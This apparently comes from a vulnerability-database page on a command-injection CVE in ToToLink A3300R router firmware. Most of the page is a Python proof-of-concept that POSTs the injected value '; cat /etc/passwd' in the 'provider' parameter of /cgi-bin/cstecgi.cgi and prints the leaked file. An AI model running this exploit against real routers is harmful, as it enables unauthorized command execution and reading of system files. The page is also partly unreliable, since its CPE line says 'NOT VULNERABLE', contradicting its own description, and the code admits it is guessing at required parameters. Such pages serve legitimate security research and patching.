An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the provider parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-31160
import requests
def check_vulnerability(target_ip):
# Target URL based on the vulnerability description
url = f"http://{target_ip}/cgi-bin/cstecgi.cgi"
# The 'provider' parameter is vulnerable to command injection
# Payload attempts to execute a simple command (e.g., ping or cat passwd)
# Note: Using a benign payload for demonstration purposes only
injection_payload = "; cat /etc/passwd"
# Data payload to be sent in the POST request
data = {
"provider": injection_payload,
# Additional parameters might be required depending on the specific firmware logic
"action": "test"
}
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print(f"[*] Sending request to {target_ip}...")
response = requests.post(url, data=data, headers=headers, timeout=5)
# Check if the response indicates command execution
# This check depends on the specific application behavior
if "root:" in response.text:
print("[+] Vulnerability confirmed! Command execution detected.")
print(response.text[:200]) # Print partial response
else:
print("[-] Could not confirm vulnerability based on response.")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
# Replace with the actual target IP address
target = "192.168.0.1"
check_vulnerability(target)